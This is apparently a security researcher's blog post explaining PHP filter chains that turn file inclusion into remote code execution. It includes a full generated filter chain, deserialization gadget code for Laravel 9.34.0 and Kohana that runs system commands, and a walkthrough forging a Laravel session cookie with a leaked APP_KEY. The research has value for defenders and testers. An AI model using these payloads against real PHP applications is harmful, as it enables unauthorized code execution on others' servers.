PHP filters chain: What is it and how to use it

Rédigé par Rémi Matasse - 18/10/2022 - dans Pentest - Téléchargement
Searching for new gadget chains to exploit deserialization vulnerabilities can be tedious. In this article we will explain how to combine a recently discovered technique called PHP filters [LOKNOP-GIST], to transform file inclusion primitives in PHP applications to remote code execution. To support our explanations we will rely on a Laravel file inclusion gadget chains that was discovered during this research.

How it began

Research on POP chains

It all started from research on gadgets chains to improve code analysis skills on PHP. We first began with one of my favorite framework: Symfony. Unfortunately, the task was harder than expected since most of the potentially interesting objects are protected by the following mechanism:


class RandomClassThatSeemedPromising {
    public function __wakeup()
        throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);

    public function __destruct(){
        //cool stuff that seemed exploitable


Since the __wakeup method is automatically called when unserializing,  a BadMethodCallException will be thrown and the __destruct method will never be executed.

Looking for symfony POP chain be like.

After some time finding literally nothing, we tried to have a look at another common PHP framework: Laravel.

File include chain on Laravel framework

The researches were far quicker to show results on Laravel. A working file inclusion POP chain was found in a few hours on the laravel/framework v9.34.0 package. While Laravel's developers were contacted regarding this issue, they do not intend to fix the gadget chain because, according to them, the issue lies in the use of unserialize() on untrusted user inputs.

File read gadget laravel/framework 9.34.0.
File include gadget chain on laravel/framework 9.34.0.

PHP unserialization will not be covered here since there are already several good resources on the subject, such as this one: [OWASP-POP-chain].

The chain we found works as follows:

  • in src/Illuminate/Routing/PendingResourceRegistration.php

namespace Illuminate\Routing;

use Illuminate\Support\Arr;
use Illuminate\Support\Traits\Macroable;

class PendingResourceRegistration
        $this->name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;

    public function register()
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
    public function __destruct()
        if (! $this->registered) {

When the __destruct() function is called, if the $this->registered value is not defined, the execution flow first goes to the PendingResourceRegistration object's register function. The latter then calls the register function of another object which can be arbitrarily defined.

All there is to do from this point is to find another object defining a register function in Laravel packages. Because PHP is a weakly typed language, we can set the value of the registrar attribute to any other object.

Additionally, if a method is called with more parameters than its prototype, the extra parameters will be ignored. This means we can call any register methods from any Laravel object with zero to three parameters.

  • in src/Illuminate/Routing/RouteFileRegistrar.php

namespace Illuminate\Routing;

class RouteFileRegistrar
    protected $router;
    public function register($routes)
        $router = $this->router;

        require $routes;

The RouteFileRegistrar class has a register method with one argument and, icing on the cake, there is a permissive require function in which we entirely control the parameter $routes.

From this point, we have a local file inclusion on the latest Laravel version. This is however not sufficient compared to the multiple already existing ways to get code execution via unserialization on Laravel as shows the phpggc available pop chains list.

laravel pop chains list phpggc
Laravel pop chains list on phpggc.

After digging for a while to try and transform this file inclusion primitive to a remote code execution, we were advised by a colleague (@LoadLow) to take a look at PHP filter chains. A pretty good write-up by loknop on the subject can be found here: [LOKNOP-GIST]. The exploitation described in the article is not versatile since it missed many possible payloads, but from this point, we wanted to find a way to adapt it to our situation.

PHP filters to the rescue

Around the world, there are nearly 7000 spoken languages. In order to allow most people on Earth to benefit from the internet and to communicate with each other, many printable characters have to be enabled. We all know our basic ASCII encoding table, but it is far too small to speak in Japanese, or even in Greek which contains characters such as 'λ', 'ν', 'π'. Thus, to be able to print characters from other languages, or even emojis, ☺, many encoding tables were created to convert or even translit characters from one language to another when possible.

All these examples are only linked to languages spoken by humans ! Many RFCs were designed for other protocols to make characters interpretable on older systems.

On Linux, you can enumerate the conversion table aliases through the iconv -l command.

$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]

These conversion tables are also accessible through php://convert.iconv.*.* wrappers: [PHP-DOC-WRAPPER-CONVERT-ICONV].

The convert.iconv.* filters are available, if iconv support is enabled, and their use is equivalent to processing all stream data with iconv(). These filters do not support parameters, but instead expect the input and output encodings to be given as part of the filter name, i.e. either as convert.iconv.<input-encoding>.<output-encoding> or convert.iconv.<input-encoding>/<output-encoding> (both notations are semantically equivalent).

This wrapper makes the link between the wrapper and the PHP function iconv [PHP-DOC-ICONV-FUNC].

This exploitation trick was first detailed on a CTF write-up who referenced another article from gynvael [GYNVAEL-BLOGPOST] using PHP wrappers for other purposes in 2018. The trick is not new, but it only began to be democratized around the end of 2021.

Dig further, how does it work

It is possible to transform many characters from a string by using different encodings through iconv, but it is mandatory to control the generated data. We can answer both problematics using base64.

Controlling the generated data

To be able to strip junk characters, the way base64decode works on PHP is quite interesting.

$ php -r "echo base64_encode('base64');"

$ php -r "echo base64_decode('YmFzZTY0');"

$ php -r "echo base64_decode('@_>YmFzZTY0');"

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

On the above example, the "base64" string is base64-encoded, then decoded. The interesting part is when we prepend the "@_>" string to our base64 value. As you can see, PHP does not throw errors, but simply ignores them and works as if they did not exist ! This behavior is pure gold in our case since it allows us to filtrate valid characters.

Even if the PHP base64-decode filter and base64_decode function are really close in their behavior, there is a difference between them regarding the way the '=' character is interpreted.

$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

$ php -r "echo base64_decode('YmFzZ==TY0');"

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

As we can see, for some reason, the base64-decode filter does not properly handle equal signs well compared to the default base64_decode PHP function. To solve this problem, it is also required to get rid of equal signs. One of the solutions is to use the UTF7 encoding, which transforms equal signs into other characters that do not bother the base64-decode filter.

$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"

Prepend characters

Now that we can filtrate valid characters from junk, let's discuss the heart of this trick: prepended characters from encoding! And somebody might ask "why the hell would an encoding add characters ?". To answer this question we must dig a little in some character encoding RFCs, because indeed, some of them actually prepend characters in an attended way.

Unicode encoding

In some cases, signatures are prepended by encoding. In the case of Unicode (UTF-16), it is required to give to your system the order of the bytes to use (Byte Order Mark BOM), by digging a bit in the RFC 2781 referring to it [RFC-2781]

The Unicode Standard and ISO 10646 define the character "ZERO WIDTH
NON-BREAKING SPACE" (0xFEFF), which is also known informally as "BYTE
ORDER MARK" (abbreviated "BOM").This usage, suggested by Unicode 
and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character 
to a stream of Unicode characters as a "signature"; a receiver of such 
a serialized stream may then use the initial character both as a hint 
that the stream consists of Unicode characters and as a way to recognize 
the serialization order.
In serialized UTF-16 prepended with such a signature, the order is
big-endian if the first two octets are 0xFE followed by 0xFF; if they
are 0xFF followed by 0xFE, the order is little-endian. Note that
0xFFFE is not a Unicode character, precisely to preserve the
usefulness of 0xFEFF as a byte-order mark.

This is just an example of why a character might be prepended to a string depending on the encoding used.

Korean Character encoding for Internet Messages

The Korean Character encoding for Internet Messages (ISO-2022-KR) is detailed by the following RFC: [RFC-1557].

It is assumed that the starting code of the message is ASCII.  ASCII
   and Korean characters can be distinguished by use of the shift
   function.  For example, the code SO will alert us that the upcoming
   bytes will be a Korean character as defined in KSC 5601.  To return
   to ASCII the SI code is used.

   Therefore, the escape sequence, shift function and character set used
   in a message are as follows:

           SO           KSC 5601
           SI           ASCII
           ESC $ ) C    Appears once in the beginning of a line
                            before any appearance of SO characters.

Basically, it means that to be considered as ISO-2022-KR, a message has to start with the sequence "ESC $ ) C".

This encoding is one of the 7-bit ISO 2022 code versions along with ISO-2022-CN, ISO-2022-CN-EXT, ISO-2022-JP, ISO-2022-JP-1, ISO-2022-JP-2. However, In this encoding list, ISO-2022-KR is the only one prepending characters with the iconv PHP function.


$iso_2022_7bits_encodings = array('ISO-2022-CN', 'ISO-2022-CN-EXT', 'ISO-2022-JP', 'ISO-2022-JP', 'ISO-2022-JP-2', 'ISO-2022-KR');

foreach ($iso_2022_7bits_encodings as $elem){
	echo "[$elem] : hex ["; 
	echo bin2hex(iconv('UTF8',$elem, 'START'))."]\n";
$ php iso_2022_7bits_encodings.php 
[ISO-2022-CN] : hex [5354415254]
[ISO-2022-CN-EXT] : hex [5354415254]
[ISO-2022-JP] : hex [5354415254]
[ISO-2022-JP] : hex [5354415254]
[ISO-2022-JP-2] : hex [5354415254]
[ISO-2022-KR] : hex [1b2429435354415254]

Encodings usable to prepend characters

The following table recaps what was discussed on ISO/IEC 2022 and Unicode encodings. Those will prepend characters without breaking the integrity of a base64 string, making them usable in PHP filter chains.

Encoding identifier Prepended characters
ISO2022KR \x1b$)C
UTF16 \xff\xfe
UTF32 \xff\xfe\x00\x00

Transform them and get what you want

The last part of our encoding trip is quite obvious. We just demonstrated that prepending character by reading a file is feasible. Now wouldn't it be great to be able to prepend arbitrary characters ? This can be achieved by chaining conversion filters.

Example: prepend 8 to your chain

Each conversion alias is directly linked to a table containing the printable characters linked to it. We aim to jump from a table to another to get a specific character. In order to prepend an 8 we will require the  iso8859-10 (covering Scandinavian languages) and UNICODE tables.

Iso8859-10 table (Latin 6)
  x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
2x SP ! " # $ % & ' ( ) * + , - . /
3x 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
4x @ A B C D E F G H I J K L M N O
5x P Q R S T U V W X Y Z [ \ ] ^ _
6x ` a b c d e f g h i j k l m n o
7x p q r s t u v w x y z { | } ~  
Bx ° ą ē ģ ī ĩ ķ · ļ đ š ŧ ž ū ŋ
Cx Ā Á Â Ã Ä Å Æ Į Č É Ę Ë Ė Í Î Ï
Dx Ð Ņ Ō Ó Ô Õ Ö Ũ Ø Ų Ú Û Ü Ý Þ ß
Ex ā á â ã ä å æ į č é ę ë ė í î ï
Fx ð ņ ō ó ô õ ö ũ ø ų ú û ü ý þ ĸ


Part of UNICODE table (UTF 16)
  x00 x01 x02 ... x35 x36 x37 x38 ...
00x NUL SOH STX   5 6 7 8  
01x Ā ā Ă   ĵ Ķ ķ ĸ /

The theory has now been detailed, let's see how it works concretely with a short example.

Prepend 8 to a string
Prepend 8 to a string using different encodings.

As illustrated above, prepending an 8 can be achieved in 3 steps:

  • Convert a string to UTF16 to prepend '\xff\xfe'
  • Convert the created string to latin6, '\xff' is equivalent to the latin character kra 'ĸ'
  • Convert the string back to UTF16 where the character 'ĸ' is equivalent to '\x01\x38'
  • Finally, the chain will be interpreted character by character when printed, so '\x38' becomes '8'


$return = iconv( 'UTF8', 'UTF16', "START");
$return2 = iconv( 'LATIN6', 'UTF16', $return);


$ php prepend8.php

What you don't want

Now let's discuss the difficulties encountered when trying to prepend arbitrary characters.

The first tries to generate other base64 characters after discovering this method were based on a script found on Hacktricks [HACKTRICKS-LFI2RCE-FILTERS]. This script will basically brute-force any common iconv table identifier randomly and see if the prepended character is one of the 64 required. But this script did not check if the integrity of other characters from the initial string was preserved or not.

On Hacktricks, there is a list of brute forced characters which seems promising, but it just cannot work on a full chain and the reason is quite interesting! Let's illustrate with this chain by prepending a 'b' to a string:

conversions = {
 'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',

As we can see, the CP1399 codec is used, which is an alias to one of the Japanese version of the Extended Binary Coded Decimal Interchange Code (EBCDIC). It is used as a conversion table on this chain (really close to the IBM 1027 codec). This encoding was used on IBM systems. However, according to the Wikipedia page [EBCDIC-WIKI], there were compatibility issues between EBCDIC and ASCII. Indeed, as we can see in the following table, the hex value 42 is not the character 'B', but 。 in EBCDIC.

IBM 1027
  x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF
4x SP   ¢ . < ( + |
5x & ! $ * ) ; ¬
6x - /   , % _ > ?

While this can seem meaningless, let's see what happens step by step on our START string when we try to prepend 'b' to it by following the filters.

prepend character b chain breaks integrity
Breaking a string integrity while prepending 'b'.

The UCS4 codec was not detailed here because it is really close to UTF32. It will only prepend null bytes on each character.

$return = iconv( 'UTF8', 'CSISO2022KR',"START");
$return2 = iconv( 'CP1399', 'UTF8',$return);
$return3 = iconv( 'UTF8', 'UCS4', $return2);
php test.php 


So the character 'b' is successfully prepended, but the content is also changed, including the content you already have generated. The string START was transformed during the process. This basically means this filter chain would destroy any character you created before this one.

Following this logic, even if CSISO2022KR seems promising, it is not really that useful. It prepends the chain '\x1b$)C' and because 'C' is one of the 64 characters of base64, if one of your chains uses this encoding, and you prepend something else than a 'C', it means your filter chain won't be stable.

Honestly this part of the blogpost was the hardest one to write. We really wanted to focus on a full analysis of an unstable chain is to fully understand what works or not. IBM codecs are various, each of them do things their way, and understanding how they convert a string to UTF8 is again another story. Some tables are close to each other with only a few characters being different, so building a chain from one to another can quickly take a large amount of time.

Patching a main issue: the requirement of a valid file path

One of the main issues this trick had was the requirement of knowing a valid file path to include/require on the PHP wrapper. This is no longer the case because PHP wrappers allow to nest one to another!

$ php -r "echo require('php://filter/convert.base64-decode/resource=php://temp');"

By using the PHP wrapper php://temp as the input resource of the whole filters chain, it is no longer necessary to guess a valid path on the target's file system, which depends on the operating system. It also won't be necessary to guess a path that is allowed by open_basedir directives.

Combining all together in a script

Using the elements we discovered so far we created a script to automatically generate valid filter-chains. This script was heavily inspired by two resources: [WUPCO-GITHUB-REPO], [LOKNOP-GIST] and was completed with additional and smaller brute-forced chains. Every generated character has been tested to ensure the integrity of the chains was intact while chaining the filters.

It basically transforms a string to a valid PHP filter chain. For example the following chain will trigger the code <?php phpinfo();  ?> on a require or include.

$ python3 --chain '<?php phpinfo();  ?> '
[+] The following gadget chain will generate the following code : <?php phpinfo();  ?>  (base64 value: PD9waHAgcGhwaW5mbygpOyAgPz4g)

php -r "require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp');"
PHP Version => 7.4.30

The script can be found on the following repository: [GITHUB-SYN-PHP-FILTER-GENERATOR]. Feel free to use it and to ask for new features.

PHP Translit

Since our chains are entirely based on the PHP iconv function, it was interesting to dig a bit to see if it would be possible to derive other usages from iconv. The documentation gives details on a way to translit or ignore characters from one encoding to another.


The desired encoding of the result.

If the string //TRANSLIT is appended to to_encoding, then transliteration is activated. This means that when a character can't be represented in the target charset, it may be approximated through one or several similarly looking characters. If the string //IGNORE is appended, characters that cannot be represented in the target charset are silently discarded. Otherwise, E_NOTICE is generated and the function will return false.

By playing with URL encoding, it was possible to also use this feature on our chains!

$ echo -n -e '€' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.iconv.utf8.\'ISO-8859-1%2F%2FTRANSLIT%2F%2FIGNORE\'/resource=test.txt');"

However, since it requires many characters, it was considered more efficient to not translit in our PHP filter chains.

Turning the Laravel file inclusion gadget chain into remote code execution

New code execution POP chain on Laravel framework

Now that iconv filter chains are a bit demystified, let's get back on our horses. Since we can now transform any file inclusion primitive into remote code execution, let's upgrade our initially discovered Laravel gadget chain.

POP chain on laravel/framework 9.34.0
Final RCE gadget chain on laravel/framework 9.34.0.

The final PHP gadget chain looks as follows:


namespace Illuminate\Routing;

class RouteFileRegistrar
    protected $router;
    public function __construct(){
        $this->router[0] = "system";
        $this->router[1] = "id; ls -lisah";

class PendingResourceRegistration
    protected $registrar;
    protected $name;
    protected $controller;
    protected $options;
    protected $registered;

    public function __construct(){
        $this->registrar = new RouteFileRegistrar();
        //<?=call_user_func($router[0], $router[1]);   ?>    
        $this->name = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|[...]|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp";
        $this->controller = "test.php";
        $this->options = [];
        $this->registered = false;

$test= serialize(new PendingResourceRegistration());
echo base64_encode(serialize(new PendingResourceRegistration()));
echo "\n";

Using the new pop-chain to actually execute code on a Laravel instance

That's really sweet but feels situational, doesn't it? Let's kill two birds with one stone and use this bug on a real-world application configured with Laravel.

We are searching for a deserialization primitive. We can get it if the following prerequisites are met:

  • Exfiltrate the APP_KEY value contained in the .env file at the root of a Laravel project.
  • Make sure the SESSION_DRIVER configuration is set to the value cookie, meaning the user session is stored encrypted in the user cookie.

It has to be noted that the last point is unlikely to happen nowadays, since Laravel sessions are now stored in files by default. However, for compatibility issues, it is still available, and this configuration can still be used on the latest Laravel versions [LARAVEL-SESSION-CONFIG].

Another CLI to encrypt/decrypt this kind of cookies named laravel_cookie_killer was developed for this proof of concept and is available on the following repository: [GITHUB-SYN-LARAVEL-COOKIE-KILLER]. Once again, feel free to use it and to ask for new features.

So let's imagine we just leaked the following .env file from a Laravel project:


It is then possible to decrypt the cookie and see if it stores serialized user data.

[*] uncyphered string
[*] Base64 encoded uncyphered version

If the cookie stores serialized data, we can generate our gadget using the laravel_cookie_payload.php script:

php laravel_cookie_payload.php 

Finally, we inject the payload and encrypt the cookie back.

python3 -e -k whZhGx+gWV2LEN+ncYxJskxrF/hDVCGc3UdE4vmiF8w= --hash 2409b529f14153e84a20b432fbe13f9da74dbe3f -v -v Tzo0NjoiSWxsdW1pbm[...]jowO30=
O:46:\"Illuminate\\Routing\\PendingResourceRegistration\":5:{s:12:\"\u0000*\u0000registrar\";O:37:\"Illuminate\\Routing\\RouteFileRegistrar\":1:{s:9:\"\u0000*\u0000router\";a:2:{i:0;s:6:\"system\";i:1;s:9:\"ls -lisah\";}}s:7:\"\u0000*\u0000name\";s:11613:\"php:\/\/filter\/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|[...]|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode\/resource=php://temp\";s:13:\"\u0000*\u0000controller\";s:8:\"test.php\";s:10:\"\u0000*\u0000options\";a:0:{}s:13:\"\u0000*\u0000registered\";b:0;}

All there is to do then is to set the cookie with the one we just generated.

Generate cookie laravel
Generating a cookie on Laravel.


Use the laravel cookie to RCE
Rewriting the Laravel cookie to get RCE.

The main weakness of using PHP filter chains is the resulting payload size (~ 14Ko in the previous case). Indeed, the default Apache2 configuration only allows a maximum of 8Ko of data in headers, thus preventing the exploitation. NGINX however, is more permissive and allows 16Ko headers by default. Finally, we believe the generated payloads can still be optimized, so a 14Ko payload would become smaller in the future

Another use case: upgrading Kohana file include POP chain to RCE

A bit more research was performed to see if PHP filters could be used on already existing phpggc unserialize chains.

At the moment, the only PHP gadget chain on phpggc used to get a file include is based on Kohana, which is an outdated PHP framework maintained between 2007 and 2016.

Since PHP filters allows us to get RCE from include or require, we digged a little on this chain for fun, hoping to see these functions used instead of a file_get_contents.

It turned out it was worth it, the chain is based on include ! By using our newly discovered trick with filter chains, it was possible to upgrade the gadget from arbitrary file include to code execution. The chain looks as follows:


class View 
    protected $_file;
    protected $_data;

    public function __construct() {
        $this->_data['a'] = "system";
        $this->_data['b'] = "id; ls -lisah";
        //<?=call_user_func($kohana_view_data['a'], $kohana_view_data['b']) ;?\> 
        $this->_file = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|[...]|convert.base64-decode/resource=php://temp";

$view = new View();

echo base64_encode(serialize($view));

To better understand what the steps followed by the chain are, this diagram summarizes the code flow used to get RCE.

kohana gadget chain 3.3.6.
Kohana RCE gadget chain on version 3.3.6.


While upgrading this chain, we saw this related comment. It turned out that the owner of the repository @cfreal_ suggested creating an "include" type for gadget chains since you can get code execution from it if the required conditions are all filled [PHPGGC-COMMENT].

include chain quote
Comment refering to "include" gadget chains on phpggc.

From what we saw on this blog post, PHP filters should be sufficiently efficient to reach RCE from include/require in most cases.

Last opinion on PHP filters exploitation

As we could see on this article, PHP filters can be really powerful if used in the right context. Their exploitation is fascinating as it is based on a few uncommon PHP tricks.

However, it is important to keep in mind that this kind of payload is really gigantic and won't be usable 100% of the time. The size limit of a header or in a URL can be problematic if the payload is too big.

This research entirely started because of research on POP chains. Doing so to exploit unserialization is an excellent way to understand how many PHP tricks work! We think it is a perfect way to step up quickly on code analysis, thus we encourage anyone to have a try with it.

Elevating a file inclusion primitive to a remote code execution using the PHP filters trick has been successfully tested on PHP versions 8.1.11, 7.4.30 and 5.6.40.